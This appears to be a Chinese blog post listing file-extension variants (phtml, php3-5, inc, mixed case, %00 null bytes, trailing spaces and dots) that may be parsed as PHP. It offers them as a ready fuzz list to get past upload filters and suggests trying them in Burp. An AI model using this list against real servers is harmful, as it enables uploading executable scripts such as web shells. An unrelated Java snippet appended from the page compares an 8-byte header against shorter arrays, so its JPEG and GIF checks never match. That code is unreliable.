还有哪些文件后缀可被被解析成php文件

还有哪些文件后缀可被被解析成php文件

在文件上传的时候,被限制了php的文件格式。用以下这些当做后缀格式,有可能可以绕过。可以放在BP里自己跑一下试试。

phtml
php
php3
php4
php5
inc
pHtml
pHp
pHp3
pHp4
pHp5
iNc
iNc%00
iNc%20%20%20
iNc%20%20%20...%20.%20..
iNc......
inc%00
inc%20%20%20
inc%20%20%20...%20.%20..
inc......
pHp%00
pHp%20%20%20
pHp%20%20%20...%20.%20..
pHp......
pHp3%00
pHp3%20%20%20
pHp3%20%20%20...%20.%20..
pHp3......
pHp4%00
pHp4%20%20%20
pHp4%20%20%20...%20.%20..
pHp4......
pHp5%00
pHp5%20%20%20
pHp5%20%20%20...%20.%20..
pHp5......
pHtml%00
pHtml%20%20%20
pHtml%20%20%20...%20.%20..
pHtml......
php%00
php%20%20%20
php%20%20%20...%20.%20..
php......
php3%00
php3%20%20%20
php3%20%20%20...%20.%20..
php3......
php4%00
php4%20%20%20
php4%20%20%20...%20.%20..
php4......
php5%00
php5%20%20%20
php5%20%20%20...%20.%20..
php5......
phtml%00
phtml%20%20%20
phtml%20%20%20...%20.%20..
phtml......

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BLOB类型是一种二进制数据类型,在数据库中通常用来存储图片、音频、视频等文件。如果想要获取BLOB类型文件后缀,需要从文件的二进制数据中解析文件类型的标识符。 一般来说,文件类型的标识符存在于文件的开头部分。例如,JPEG文件的标识符为“FF D8”,PNG文件的标识符为“89 50 4E 47 0D 0A 1A 0A”,GIF文件的标识符为“47 49 46 38 39 61”或“47 49 46 38 37 61”。 因此,如果要获取BLOB类型文件后缀,可以先读取文件的前几个字节,然后将这些字节与文件类型的标识符进行比较,从而确定文件的类型和后缀。例如,可以使用Java语言的ByteArrayInputStream和DataInputStream类来读取BLOB类型数据,并使用if语句来判断文件的类型和后缀,如下所示: ```java byte[] data = // 从数据库中读取BLOB类型数据 ByteArrayInputStream bais = new ByteArrayInputStream(data); DataInputStream dis = new DataInputStream(bais); // 读取文件的前几个字节 byte[] header = new byte[8]; dis.readFully(header); // 判断文件类型和后缀 if (Arrays.equals(header, new byte[]{(byte)0xFF, (byte)0xD8})) { // JPEG文件 String extension = "jpg"; } else if (Arrays.equals(header, new byte[]{(byte)0x89, (byte)0x50, (byte)0x4E, (byte)0x47, (byte)0x0D, (byte)0x0A, (byte)0x1A, (byte)0x0A})) { // PNG文件 String extension = "png"; } else if (Arrays.equals(header, new byte[]{(byte)0x47, (byte)0x49, (byte)0x46, (byte)0x38, (byte)0x39, (byte)0x61}) || Arrays.equals(header, new byte[]{(byte)0x47, (byte)0x49, (byte)0x46, (byte)0x38, (byte)0x37, (byte)0x61})) { // GIF文件 String extension = "gif"; } else { // 其他类型的文件 String extension = null; // 或者抛出异常等处理 } ``` 需要注意的是,文件类型的标识符并不是唯一的,有些文件类型可能有多个标识符。此外,对于一些特殊的文件类型,可能需要读取更多的字节才能确定文件类型和后缀
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值